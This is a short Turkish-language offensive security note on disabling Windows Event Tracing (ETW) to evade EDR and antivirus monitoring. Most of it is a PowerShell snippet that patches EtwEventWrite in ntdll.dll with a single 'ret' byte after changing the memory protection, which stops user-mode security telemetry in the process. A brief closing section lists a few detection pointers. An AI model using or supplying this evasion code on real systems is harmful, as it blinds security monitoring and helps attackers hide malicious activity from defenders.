Modern Evasion - Windows x64 - ETW Patch
ETW, EDR ve guvenlik yazilimlarinin process aktivitesini izlemesini saglayan Windows mekanizmasidir. EtwEventWrite patch edilerek olay gunlugu uretimi durdurulabilir.
ETW Calisma Mantigi
[Process calisir]
EtwEventWrite() cagrisi (ntdll.dll icinde)
ETW session'ina olay gonderilir
EDR/AV saglayicisi alir ve analiz eder
Patch yapilirsa:
EtwEventWrite() -> ret 0 (Olay uretilmez)
PowerShell ETW Patch
$p = [byte[]] (0xC3) # ret
$ntdll = [Diagnostics.Process]::GetCurrentProcess().Modules |
Where-Object { $_.ModuleName -eq "ntdll.dll" }
$etwAddr = [Win32]::GetProcAddress(
[Win32]::LoadLibrary("ntdll.dll"), "EtwEventWrite")
[Win32]::VirtualProtect($etwAddr, 1, 0x40, [ref]0)
[Runtime.InteropServices.Marshal]::Copy($p, 0, $etwAddr, 1)
Tespit
Kernel ETW patch'lenemez (sadece user-mode)
Windows Defender Credential Guard ek koruma saglar
Event ID Microsoft-Windows-Kernel-EventTracing izlenmeli